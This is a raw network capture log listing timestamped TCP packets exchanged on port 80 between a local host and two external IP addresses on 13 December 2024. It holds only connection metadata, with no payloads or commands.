Dec 13, 2024 01:51:31.159689903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.159746885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.159774065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.159822941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.160684109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.160738945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.160801888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.160851955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.161675930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.161730051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.161792040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.161851883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.162826061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.162877083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.162931919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.162980080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.163675070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.163727999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.163789034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.163837910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.164685011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.164740086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.164809942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.164855957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.165694952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.165747881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.165803909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.165853024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.166656971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.166703939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.166773081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.166826010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.167670965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.167720079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.167773962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.167871952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.168649912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.168699980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.168766022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.168808937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.169660091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.169718981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.169774055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.169821024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.170644999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.170694113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.170747995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.170795918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.171677113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.171745062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.171802044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.171850920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.172617912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.172672033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.172744989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.172789097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.173626900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.173686981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.173741102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.173789024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.174674034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.174717903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.174777985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.174824953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.175685883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.175719976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.175740957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.175764084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.176657915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.176718950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.176779032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.176826000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.177622080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.177691936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.177752972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.177803993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.178632021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.178685904 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.178747892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.178795099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.179644108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.179691076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.179737091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.179783106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.180613995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.180675983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.180733919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.180784941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.181639910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.181693077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.181740046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.181785107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.182604074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.182647943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.182706118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.182754040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.183569908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.183631897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.183687925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.183736086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.184602022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.184658051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.184752941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.184806108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.185610056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.185659885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.185743093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.185791016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.186609983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.186666965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.186717987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.186765909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.187587023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.187647104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.187704086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.187752008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.188591003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.188648939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.188708067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.188755035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.189512968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.189569950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.329780102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.329832077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.329865932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.329899073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.329993963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.330029964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.330054045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.330081940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.330913067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.330976963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.331008911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.331052065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.331886053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.331950903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.331981897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.332031012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.332694054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.332760096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.332828999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.332882881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.333635092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.333699942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.333766937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.333818913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.334631920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.334686041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.334757090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.334800959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.335652113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.335701942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.335726976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.335776091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.336669922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.336744070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.336808920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.336858988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.337661028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.337697029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.337718964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.337742090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.338687897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.338804960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.338819981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.338850975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.339657068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.339690924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.339719057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.339745998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.340482950 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:31.340636969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.340692043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.340729952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.340781927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.341629982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.341695070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.341751099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.341801882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.342603922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.342664003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.342720032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.342782021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.343632936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.343693972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.343758106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.343807936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.344669104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.344721079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.344749928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.344803095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.345626116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.345694065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.345752954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.345802069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.346615076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.346649885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.346671104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.346693993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.347598076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.347660065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.347719908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.347774029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.348588943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.348686934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.348732948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.348881960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.349603891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.349672079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.349725008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.349775076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.350615025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.350667953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.350759029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.350810051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.351597071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.351659060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.351722956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.351773977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.352582932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.352648973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.352704048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.352755070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.353589058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.353642941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.353693008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.353743076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.354567051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.354644060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.354720116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.354775906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.355595112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.355629921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.355649948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.355673075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.356538057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.356606960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.356663942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.356714010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.357537031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.357592106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.357654095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.357712984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.358571053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.358623028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.358728886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.358788967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.359560966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.359654903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.359683037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.359733105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.360558033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.360618114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.360677958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.360729933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.361541986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.361596107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.361659050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.361711025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.362535954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.362588882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.362646103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.362699032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.363531113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.363580942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.363651037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.363701105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.364557981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.364672899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.364701986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.364757061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.365551949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.365617037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.365681887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.365734100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.366516113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.366600990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.366676092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.366724014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.367516041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.367582083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.367638111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.367698908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.368566990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.368618965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.368650913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.368761063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.369508028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.369570017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.369666100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.369715929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.370527029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.370579958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.370635986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.370683908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.371499062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.371562004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.371623039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.371673107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.372498989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.372554064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.372615099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.372663021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.373492956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.373543978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.373600006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.373647928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.374485016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.374597073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.374624968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.374672890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.375503063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.375567913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.375623941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.375678062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.376478910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.376526117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.376552105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.376596928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.377450943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.377497911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.377566099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.377610922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.378453016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.378513098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.378524065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.378560066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.379498005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.379530907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.379553080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.379594088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.380453110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.380506039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.380539894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.380583048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.381438971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.381485939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.460500002 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:31.460865021 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:31.461293936 CET	49820	80	192.168.2.4	80.82.65.70
